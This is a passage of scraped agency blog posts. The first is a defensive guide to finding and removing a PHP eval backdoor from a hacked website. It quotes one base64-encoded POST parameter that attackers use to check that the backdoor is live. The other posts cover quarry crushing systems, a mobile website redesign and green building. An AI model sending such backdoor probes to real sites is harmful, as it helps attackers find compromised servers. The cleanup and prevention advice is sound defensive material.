With this in place, a bot or hacker, can send parameters through HTTP POST such as: n764b3b='ZWNobyAnMW9rMScuIlxuIjtleGl0Ow==', which becomes: base64_decode('ZWNobyAnMW9rMScuIlxuIjtleGl0Ow=='), which becomes: 'echo '1ok1'."\n";exit;'

Now whoever has sent this command knows their exploit is in place, because instead of the page they are 'visiting' is a blank page that just says "1ok1".

This allows them, and others know that they can send pretty much any command they please through your site. This can include writing new files, using your mail server, any number of things, but any number of these typically ends up in damaging your domain's search reputation or your domain's email reputation. In most cases I've found SEO Spam (mostly Pharma Hacks), Malicious Redirects, but in some cases I have found Malware Delivery Systems, Attack Site or Referrer Spam automations, Phishing Pages, and Email forms to send Spam by. Wordfence covers that list very well here.

Searching... Seek and Destroy!

When searching for more instances of this infection, you could do a search for the whole PHP script - but you'll likely only find the one infected page that way, the one you are already viewing. There could be hundreds of infected files in root folders, upload folders, theme/template folders and many other places.

In some cases, the original word-scramble string changes order and often name and the order in the strtolower command changes accordingly, and there could be twenty to a hundred parameter names for the the hacker to use on your site. In others, the variable names change, or there are multiple parameters that can be passed to the site (a different script for each one).

There are ways through SSH to use commands such as 'grep' to seek and replace this section of code out with wildcards. It can be handy in a pinch, if your host allows you this level of access, and if you formulate your command very well. Otherwise: in one shot you could accidentally remove many important lines of code from many important files across your domain; You could also end up leaving snippets of code in place that also end up breaking the site. The linked example is a how-to on fixing an infected Drupal site, but the same technique could be used for just about any CMS. Of course if you have a Wordpress site that is up and running, and can install Wordfence, that is one of the quickest ways to find and remove these infected files.

One downside to working on the site in place on the server, is that backdoors could be exploited while you are fixing the site. Missing just one could put you right back in the same place again weeks, days, minutes later. If you are using Wordfence - just do a new scan after you fix the infected files and you should be fine. If you are seeking out the files and changing them by hand, you should download the site and edit files locally. You can upload the fixed website in place of the infected one when done and know that no new files were infected while you were working.

When doing this, I tend to start by searching for 'eval' - it'll bring up a number of false positives, because eval is fairly-commonly used, but it will also bring up all the infected files for this type of infection. Once you've found all these files, then look through those files and look for commonalities in the infection other than 'eval'.

A Common Thread... or Rather String...

In this case, I found that all of the infected files did use two common string names: $s20, and $s21. Both are present in all instances, so I only needed to look for $s21 from here, and this filters out all of the false positives.

Finding Malicious Scripts in a Hacked Website with Dreamweaver, similar Web Design / Web Development tools

Above: Searching an entire folder with the "Find All" command (do not do "Replace All"). This will open all files infected. You don't need an expensive WYSIWYG, but it is nice to have this one. Any open-source text editor with a Find/Replace function should do. If you are looking for an open-source WYSIWYG, such as Brackets, that should also do.

I found around 40 files that were infected, so I just opened them all and cut this line of code out by hand. If there were more of these, say hundreds (which I have found before) - I'd have put the site into a test/quarantine server, and used SSH to search and replace.

Of course when sites are in Wordpress, there are a lot of shortcuts you can take when fixing by hand, which come down mostly to where the infections reside:

  • If the infected files are mostly in "uploads", one can delete all the php files found in that folder and subfolder, and put a blank "index.php" file back into each folder. There is no reason php files should be in this place. Searching this folder on your mac or pc means just being able to highlight all the found php files and delete them.
  • If they are mostly in the wordpress install itself: Delete the admin and includes folder and upload new. Upload new versions of the files in the root folder. Delete any files in the root folder that do not belong (php files that were not replaced by the new wordpress files, excluding config.php). Check config.php for malicious code.

    In the above: You've just saved yourself from searching the root, admin, and includes folder. This should leave only the wp-content folder, for which you've already taken care of the uploads. The upgrades folder should be empty, so only the themes folder remains.
  • Delete Themes. I tend to delete every theme I am not actively using. This means less themes to search for infections now, less themes in the future to keep updated, less themes to provide vulnerabilities to new/unknown exploits.

With those steps, you've saved yourself a lot of time searching through folders and files...  but, if your Wordpress site is hosted, and running, just install Wordfence and run the scan. You'll save a lot of time now, and later.

Wrapping Things Up

If there were backdoors found on your site, there is a chance that the site could have been used for more than just running commands through. You've stopped them from getting in this way, but there can still be email forms and phishing pages, other remnants of the infection you'll want to find and get rid of.

Don't expect the created or last-modified dates on these files to be accurate - these can faked.

Your best bet is always being very familiar with whatever CMS you prefer to use - familiar enough to know how to wipe most files clean, replace them with new, and spot files that are out of place.

I choose to use Wordpress in most cases because of my familiarity with it. I install, design, and manage a lot of Wordpress sites - and have been doing this since its earliest versions.

In other cases, I often recommend managed CMS solutions where such security headaches are for the providers of the service (we build a lot of Wordpress sites, but we use Hubspot for ours, and offer development and maintenance of Hubspot sites, as well as managing Inbound Marketing campaigns). There are by the month fees for these, but in many cases these can come with incredibly handy Marketing tools for the money, and save you the cost in time or money that occurs when your site is hacked.

Consider how You Might have been Hacked and Prevent It

Oftentimes, this could be as simple as having installed a plugin or a patch. Here are some tips to avoid that:

  • Download plugins only from respected sites that monitor for malware plugins.
  • Try to find plugins that have thousands of active users and are regularly updated.
  • Don't add a patch you've found on the web unless you are sure of what it does and why, or at least make sure the site you found that patch on regularly monitors for people posting malicious code as fixes.
  • Tighten up security: Add a security suite if one is available for your CMS. Make sure your .htaccess is solid against browsing of folders and that it blocks forbidden files.
  • Make sure your own code sanitizes strings/escapes special characters from input and from HTTP POST requests.
  • Make sure your CMS and plugins are kept up to date.
  • Check on your site regularly for anything out of place.
  • Search Google with Site:yoursite.com to see if there are phishing or pharma pages on your site.
  • Consider any new problem that did not occur with updates or changes to be a possible hack.
  • Connect Google Search Console/Webmaster Tools to your site as a means to monitor for infections or other problems.
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Industrial Marketing Starts With Great Trade Journal Articles

Wed, Mar 30, 2016 @ 07:45 PM / by Chuck Lohre posted in Industrial Marketing, Industrial Advertising, Mining Equipment Marketing, marketing agency, Advertising Agency

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Teamwork Helps Integrate Design, Manufacture and Installation of Size- Reduction Systems

By Eric Marcotte, Inside Sales Manager, Stedman Machine Company

An overview of the design, manufacture and installation of size-reduction crushing systems.

(This article just ran in the March issue of ROCK PRODUCTS during the industry's major annual trade show AGG1 in Nashville last week. Eric spoke at the conference about agg lime production. Next month look out for a major size reduction equipment overview in PIT & QUARRY. If your industrial marketing display ad campaign doesn't include articles like these, you are wasting your time and money.)

Designing and deploying size-reduction systems takes experience. Many people can collect and install some of the pieces they feel are needed to create a working system, but experience with the interrelationships between components is harder to find. And to ensure safety and performance, crushing, screening, storage and handling systems need to be professionally engineered. A system is always more than just a collection of parts; they must work together whether it’s a properly designed chute or an elaborate processing plant.

Retrofitting new crushers, conveyors, screens or other pieces of equipment is also not always an easy process. Even if drawings and specifications no longer exist, plant designers need to make sense of what is there and know what it takes to make new pieces fit in an existing puzzle. If continuing production during the upgrade is required, system bottlenecks will need to be prevented. For example, raw material or finished product stockpiles may be required to keep downtime to a minimum. Also, access and space requirements need to be confirmed and double-checked.

Aggregate Quarry Marketing ImageFirst - Assemble a Team

Engineering and expertise in a variety of areas are required to develop size reduction systems, including: crushing, screening, structures, conveyors, chutes, hoppers, dust collection and storage, whether for a small equipment retrofit or a large turnkey facility. CAD and process design software applications are must have. Limit multiple layers of personnel. Work directly with the engineers and personnel to select the equipment and design the system. Project management, installation, scheduling and tracking experience will be needed. Be sure supervisors and installers are MSHA trained and have experience in fieldwork.

Commercial Photography for Marketing ExampleSecond - Process Design

While most projects present new challenges, a widely experienced team will bring in ideas from other industries. Typical projects involve the following processes and types of equipment.

  • Load out and material receiving. This can be a feed hopper with an apron feeder, belt feeder, vibratory or screw feeder, truck dump or railcar unloading system.
  • Bulk material transportation. Designing, building or procuring belt conveyors, stackers, apron conveyors, screw conveyors, and pneumatic handling conveyors.
  • Crushing. Crushing is the basic building block of a size-reduction system. Experience with a large range of crushing equipment offers many solutions. Properly feeding material into the crusher greatly increases its efficiency, contributes to even wear and maximizes wear metal costs.
  • Bulk material storage. Specifying, providing and installing a range of silos, hoppers or other bulk storage solutions.
  • Screening. Experience with many screening manufacturers to include the right screening solution into the system.
  • Dust Collection. Including the proper dust collector and dust collection system is a key component to allow a crushing system to work properly. Experience with many dust collection vendors will facilitate properly sizing, connecting and installing the best dust-collection system solution.
  • Controls and Electrical Components. To make sure that all components of a system work together, work with control system engineers, panel builders and electrical contractors to create a working, integrated system.
  • Buildings, Foundations and Structure. Design, procurement and specifications for buildings, foundations and structures for the equipment supplied on any system.

Aggregate Quarry Photography for Marketing DesignThird - How to Do It

Every project has a different set of circumstances that are unique to it. Try to follow a simple checklist to ensure the best possible solutions to the problems.

  1. Initial project team meeting.
  2. Crusher and screening testing as required.
  3. Define required scope for the system.
  4. Create preliminary concepts and drawings.
  5. Review with operators and supervisors.
  6. After receiving feedback, fine-tune the drawings, concepts and put forth a detailed proposal.
  7. Set up kick off meetings as required.
  8. Proceed with the purchase of major components.
  9. Proceed with a detailed system arrangement.
  10. Detail major assemblies.
  11. Assemblies put out for detail drawing creation.
  12. Drawings are self-checked and then crosschecked for accuracy.
  13. Assemblies are re-entered into system layout from detail assemblies to verify fit.
  14. Approval drawings sent out as required.
  15. Vendor drawings checked and approved.
  16. Items checked as they are received.
  17. Work with vendors and shipping to verify shipment accuracy.
  18. Pictures are taken of all shipments for record purposes.
  19. Installation supervisor works with install crew to identify, locate and erect items as needed.
  20. As installation finish date nears, begin check of motor rotations, sensors etc.
  21. Final customer acceptance – formal reviews to finalize “punch list,” follow up items and document the system is performing as specified. 

Example - Typical Quarry Expansion

A limestone quarry running since the 1950s and producing 500,000 tons per year wanted to increase yearly production capacity up to 1.5 million tons with a new automated plant. The new design needed to have the capability to stockpile hundreds of thousands of tons of finished product. The focus was on creating a state-of-the-art plant with designed-in flexibility to do different product sizing. The automated plant needed to have the ability to run production all day as well as to be able to change the product sizes within 10 minutes.

The design and fabrication of a new plant may take up to two years to complete as each idea is considered and "wish lists" are sorted out. You don’t want to come back and say we should have done this or done that. Get the very best of everything you can get into the plant for longevity. The project will include numerous conveyors, sensors, controls, vibrating screens, feeders and other equipment.

Installed electronics and control systems feed a programmable logic controller. Each conveyor at the plant is equipped with terminal strips that are all wired to communicate information to one main processor, bringing all of the information together in one place to make it easy to operate.

All of the feeders and conveyors are monitored to collect all of the information required to operate the plant. With the ability to monitor the speed of the conveyors and feeders, the quarry can keep an eye on production and troubleshoot maintenance issues. The reason for having an automated control system is that if something goes wrong on one of the conveyors, you’ll see it fast enough to prevent a catastrophe that might require digging out a conveyor. If something does go wrong, the computer can take over and begin dropping conveyors, discharging material and shut the feeder down.

Since the quarry can now monitor the conveyors moving, the speeds and the tons per hour, limitations can be set to help catch problems before they become too serious. If something is going wrong, say conveyor 2A is slowing down, you can put limits on how much you want to allow it to slow down before the feeder is paused and then limit how long that feeder stays paused.

In the end, the quarry was able to more than double their production capacity with the help of the automated plant. The plant was built, delivered and installed as planned with no problems. This is an ideal situation if a quarry is sitting on huge reserves of limestone and plans to operate the crushing plant well into the future.

Projects such as this are successful when the customer’s needs are defined and understood, and the project team – including the customer and all supplier partners work to accomplish the project goals.

Stedman Machine Company, 129 Franklin Street, Aurora, IN 4001, 812-926-0038, www.stedman-machine.com, sales@stedman-machine.com

### End of Technical article

About the author: Eric Marcotte joined Stedman Machine Company and its affiliate Innovative Processing Solutions in 2010. He has a Mining Engineering Degree from the University of Kentucky. 

About Stedman Machine Company

Stedman Machine Company works closely with its customers to determine the best, most cost-effective, efficient size reduction method and equipment for specific applications. Stedman’s line of equipment includes: Cage Mills, Grand Slam™ and Mega Slam™ Horizontal Shaft Impactors, V-Slam™ Vertical Shaft Impactors, Hammer Mills, Aurora Lump Breakers, Micro-Max™ and Vertical Roller Mill Air Swept Fine Grinders. Stedman operates a complete testing and toll processing facility staffed by experienced technicians with full-scale equipment, allowing customers to witness accurate crushing test results, predicted output capacities and processing data. Support services include system design and 24-hour parts and service.

Stedman Machine Company has a complete fabrication facility in Aurora, IN. The 24,000-sq.-ft. facility has the ability to work with plate stock as thick as 2 in. and handle large fabrications up to 50 tons. There are two AWS weld inspectors on staff. Installation crews and supervisors are available for system erection, installation and commissioning. All Stedman field service personnel are MSHA trained.

Marketing Communications Problem Solver

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Mobile-Friendly Website Design with an Image-Based Menu

Mon, Jan 25, 2016 @ 09:16 AM / by Myke Amend posted in Internet Marketing, Process Equipment Marketing, Website Design, B2B Advertising, Internet Design and Development, Graphic Design, Cincinnati Web Design Agency, Cincinnati Advertising, Internet Development, Advertising Design, Cincinnati Advertising Agency, Advertisement Design, Cincinnati Website Design, Advertising Agency, Web Design

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When Lohre and Associates began this project, Roto-Disc, Inc. had a standard HTML web site that they liked, as much as we did, for a number of good reasons:

  • It was built to reflect the look and feel of Roto-Disc's product catalog about as closely as could be done with a website. It matched Roto-Disc's catalogue so very well that the site itself felt like well-designed and well-planned literature.
  • Pages were designed, not as a whole in cookie-cutter fashion, but for their purpose. Much like a printed brochure, everything was cohesively-branded as one well-collected work - yet each individual page was custom-tailored to best-present the products and services on that page.
  • The existing outline was near-perfect. Divisions between pages and topics were pretty spot-on, easy to navigate and easy to follow.

Web Design for Rotodisc CincinnatiAbove: The standard HTML site that was.

It was however, as sites made years ago tend to be: static in size and format, with no mobile menus or even alternate mobile version, and no CMS or other way to dynamically-generate new content - all of which we know to be a problem today for these reasons:

  • Google now gives better indexing for mobile-friendly sites, and penalizes sites that do not have mobile-friendly design or versions.
  • Engineers and other decision-makers in the Process Industry cannot easily view these sites while they are out in the field, which is about the time that needs for new equipment tend to arise or happen to be revealed.
  • Sites not viewed by mobile users do not get shared by mobile users, who make up for an increasingly-large percentage of internet viewers.
  • Sites that are blogs, WIKIS, or otherwise CMS-driven, have a sizable SEO advantage over most sites that are not. Growing content and fostering inbound links are incredibly-important to SEO. Blogs also enable a company to position itself as an industry leader, and give them the tools to build and maintain better customer relationships.

Another need to consider was that Roto-Disc's Product line would soon be expanding. In addition to the Heavy-Duty Spherical Valves, Lighter-Weight Spherical Valves, Sanitary Spherical valves, Inflatable Seal Spherical Valves, Heavy-Duty Clean Flow Diverters, and Airlock/Double-Dump Valves Roto-Disc already had a new section for Flange Adaptors, Wedge Inserts, and Stub Adaptors that needed to fit into the current image-based menu. Soon Roto-Disc would need to also add Process Transitions, and Splitters/Convergers, as well as the Flange Adaptors to this small swatch of internet real-estate.

From This We Created A Short List of Initial Project Goals:

  • Emulate the general look and feel of Roto-Disc's catalog, which we had recently updated for the new product line.
  • Preserve the image-based menu and allow for more menu items to be added.
  • Make their site completely responsive and mobile-friendly.
  • Make navigating and reading the site easy for *all* sizes: large screens, smartphones, *and* tablets.
  • Build it as a CMS (Wordpress in this case) for blogging, scaleable SEO, Inbound Marketing, and ease of content editing.
  • Include the best SEO plugins available so that the SEO approach can be updated for new search rules and algorithms.

Which Enabled Us to Build This List of Challenges:

  • The new catalog was rich with very in-depth charts for most every product. Some of these would require tables with at least 15 columns. Large tables are very difficult to display on mobile devices and harder still to display in a size and format that is easy to read and does not require scrolling or turning the device to horizontal view.
  • We wanted the image-based menu to look good on desktop systems, and did not want to lose it to a simple mobile menu at tablet and mobile sizes.
  • The image-based menu would require dropdowns so that viewers would have direct access to the spefic product information they were looking for.
  • We needed dropdown menus to work for desktop, laptop, tablet, and smartphones. Since touch devices do not have a hover state for links, we needed to make the menu expand and contract when clicked, not moused over. This was a major consideration when it came to tablet users, because the image would present somewhat like the desktop version, but with no mouseover capabilities.
  • We wanted to preserve the image menus even in the mobile version if possible.
  • Having "sticky" always-on-top navigation is always nice when it comes to desktops and laptops - We wanted to find a way to do this for both the header and standard navigation, as well as the image navigation. We wanted to do this without these items completely consuming the available viewport. We also wanted the sticky image menu to not be sticky on tablets because of limited space.
  • For tablet users who would lose this sticky navigation, we needed alternatives, such as an easy way to return to the navigation and/or adding navigation also to the footer of the pages.

Our Solutions:

Web Design /Website Design for RotoDisc Cincinnati

Wide-open: The site design is based on the Brochure, but made for web, driven by Wordpress, with an image menu plugin for ease of editing the image-based menu.

Web Design / Website Design for Rotodisc Cincinnati

An Additional Consideration: For Desktop users, the image links display an instruction when moused over, letting them know that clicking will open and close the submenu (though the submenu will go also away on its own when no longer in focus).

Mobile-friendly Web Design / Website Design for Rotodisc Cincinnati

The benefits of using a plugin and not hard-coding this aspect: All of the above menu and Submenu items can be added, removed, or edited through the control panel.

Mobile-friendly Web Design / Website Design for Rotodisc, Cincinnati

Two Sticky Menus in motion: The Image menu slides up onto the header when the page is scrolled, and stays - leaving the most important items of both sets of navigation always at the top of the screen for easy access.

Mobile version of Web Design / Website Design for Rotodisc Cincinnati

Not so sticky: On smaller-sized screens not quite small-enough for the mobile menu the image menu items switch size to fall into three rows of three icons. The menu no longer sticks at the top so that content can be seen when scrolling.

Web Design / Website Design Tables for Rotodisc Cincinnati

Large Tables: These charts do not seem like they will fit well on a smaller screen... especially not on mobile, not even in landscape aspect. What can be done?

Mobile width view of Web Design / Website Design for Rotodisc Cincinnati

AHA! Jquery to the rescue: By rotating the table header text 90% and re-scaling those cells accordingly, we have a LOT more space to work with when presenting these tables on mobile devices. No scrolling necessary. Some strategic line-breaking in the product number column and Viola!

Mobile width view 2 of Web Design / Website Design for Rotodisc Cincinnati

The Mobile Menu: It seems as though the image menu has been lost... and that would be sad. ... but we can do better!

Mobile width view of Nav menu for Web Design / Website Design for Rotodisc Cincinnati

Huzzah!: There is that image menu again, not lost afterall.

Mobile menu of Web Design / Website Design for Rotodisc Cincinnati

The "Open/Close" Instructions: They are pointless here, because you cannot mouseover on a tablet or other mobile device, but they won't be seen for this reason. Plus: They are still handy if you like keeping your browser window very small.

Mobile menu view for Web Design / Website Design for Rotodisc Cincinnati

Tricky: Submenus on an image menu in a mobile menu. I can't think of any place I have seen this before - actually *many* aspects of this project were something completely new.

Mobile width view 3 of Web Design / Website Design for Rotodisc Cincinnati

Falling in line: Divs and most tables break apart - images set themselves to fill the viewport, and horizontal content becomes vertical in order to keep images large enough to view, also keeping text from being crammed awkwardly on the smaller screen.

Below: You'll notice the menu does not stick to the top in mobile view. Sticky menus on mobile, especially for sites with many pages, are not a good idea. If the menu extends beyond the viewport, and does not scroll - then the only part of the menu that can be accessed is the part at the top of the screen. This will leave visitors stuck and incredibly frustrated. You can in some cases make another scrollbar just for the navigation, but if it is not seen visitors will think they have arrived at a broken site and move on.

Mobile width view 4 of Web Design / Website Design for Rotodisc Cincinnati

Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates

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It’s Lonely Being A Green Marketer in Cincinnati

Wed, Jan 13, 2016 @ 12:18 AM / by Chuck Lohre posted in Industrial Marketing, Marketing, Green Building Marketing, Cincinnati Marketing Agencies, Cincinnati Marketing, Branding Agency, Graphic Design Agency, Industrial Marketing Agency, Design Agency, Cincinnati Marketing Firm, Advertising Agency

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Last week our office was on top of the Cincinnati Business Courier's Greenest Projects in the Tri-State for the third year in a row. I wish I were not leading this list.

Let me explain.

We LEED Certified our office Platinum for less than $12 per square foot. We did all of the work, LEED documentation and I was the LEED AP on the project. But very few businesses are doing it. It doesn’t take money; it takes time and common sense. Not designy, not cool, not expensive, not fashionable, not somebody else's opinion of what is beautiful. Learn more.

 
Wilderness_Society_Green_Building_Marketing.jpg

You don’t build sustainably just to save money. The money part is out of sync with life and ecology. But that doesn't mean sustainability has to cost more. Money is only something we all agree has value. In the future, we will agree that nature has value as well. The ecologies of the planet are more productive rather than monocultures that benefit a few. Photo from the Wilderness Society

When I learned about the holistic LEED, Leadership in Energy and Environmental Design, process; I went all in, started a new brand, Green Cincinnati Education Advocacy, and created the Greenest project in the Tri-State. Big deal, only emersion DESIGN, Melink Corporation and Greensource Cincinnati are Green Building practitioners that have LEED Platinum offices. This article is in response to being the number one office on the Cincinnati Business Courier's Greenest Tri-State Projects list three years in a row. I want to reach out to others that want a more environmental reason to build a project. It doesn't cost more, it performs better, and it tells a more realistic story about our environment and the future of mankind. Our office was included in an article titled, "10 of the World's Greenest Offices."

Like all civilizations, all of the questions of the past are still present. The only thing slowly growing and becoming more accurate over time is science, it will provide the answers. In the '70s, we looked to ecology for the answers. At the time, ecology was a young science and didn't have the answers. Now the study of ecology has a path to the answers. We need to continue to learn and take action. I'm using all of my marketing knowledge to offer the public a chance to learn more. Join us at the South West Ohio Chapter of the USGBC's tours of local Green Homes this year. It's a small group of only a few hundred that are interested. Even fewer commercial project owners are interested or even know what's possible. The first words out of their architect, engineer and builder's mouth is, "Green is more expensive." That's expensive in their mind; it doesn't have to be in yours. Please get in touch if you have any questions about building sustainably or subscribe to our Green tour announcement newsletter. Hopefully next year we won't be the Greenest in Cincinnati.

Living Building Challenge Green_Building Marketing-1.jpgThe Energy Lab at Hawaii Preparatory Academy is a great example of the future (photo) and my new favorite building.

Chuck Lohre LEED AP ID+C is president of Lohre & Associates Marketing Communications, which specializes, in industrial marketing. In 2007, he started Green Cincinnati Education Advocacy a Green Building consulting firm specializing environmental education, LEED Documentation and Green marketing. Chuck’s on the boards of Greater Cincinnati Earth (Day) Coalition and ReSource.

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